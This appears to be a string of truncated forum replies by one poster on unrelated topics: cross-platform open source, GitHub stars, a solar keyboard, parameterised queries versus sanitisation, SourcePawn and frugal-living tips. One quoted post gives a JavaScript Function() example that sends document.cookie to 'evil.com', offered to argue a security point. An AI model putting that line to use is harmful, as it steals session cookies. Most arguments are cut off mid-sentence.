[quote user="David1"]So open-source people are bad because they try to be cross-platform? I've got the world's smallest violin here playing for the poor Windows folk who get the best of both worlds but have to put a little work into compiling the Linux stuff.[/quote]
As has been pointed out, it often doesn't work properly or ...
[quote user="Ben L."]
Let's try to figure this statistic out. GitHub has a list of the most "starred" projects. Let's start there.
Here's a tip: "Most Starred" <> "Most Downloaded".
[quote user="flabdablet"]Logitech makes a "solar" keyboard now that actually runs on room lighting - if you can see it, it's charging. It's the only wireless input device I've ever been tempted by; friend of mine has one and she says it works really well.[/quote]I had one of those. It's only useful if you have ...
[quote user="Ben L."]Oh, so you wanted to show us that anything you put into Function() is automatically converted to something safe to execute?
Function('a', 'b', 'location = "http://evil.com/malicious.php?" + document.cookie')[/quote]
I'm not sure what point you're trying to make, because ...
Closures do not illustrate my point in the same way, so no.
[quote user="Snooder"]What else would you call it?[/quote]
I wouldn't call it anything.
The entire point of parameterised queries is that you divide it into two parts: data and code. You supply data for the code to operate on at the appropriate time.
var strcat = ...
[quote user="Lorne Kates"]Sanitize, strip out bad data[...]
Escape/Encode, escape control characters into non-control [...][/quote]
In addition to that, the entire point of parameterised queries is to separate the SQL from the data.
The data is neither sanitised nor escaped in much the same way that you don't sanitise or escape ...
[quote user="Ben L."]Parameterized queries are a form of sanitization, so I guess those are right out.[/quote]
Stay in school, Ben.
[quote user="Ben L."]If they wrote it in SourcePawn, which part of it is, they could have skipped the whole "parse the logs" step and dropped the data straight into the database. They also wouldn't need to tie up a UDP port or require perl at all.[/quote]
Seriously? Last I checked SourcePawn didn't even have dynamic ...
2. DRIVE OLD JAPANESE CARS. EASY AND CHEAP TO FIX & THEY RUN FOR FUCKING EVER.
4. RIDE YOUR BIKE INSTEAD OF DRIVING AS MUCH AS YOU CAN. YOU NEED THE EXERCISE AND GAS IS EXPENSIVE.
Gas prices are expensive when you buy cheap-ass cars? Mind = Blown.*
[quote user="flabdablet"]7. Learn to fix things. ...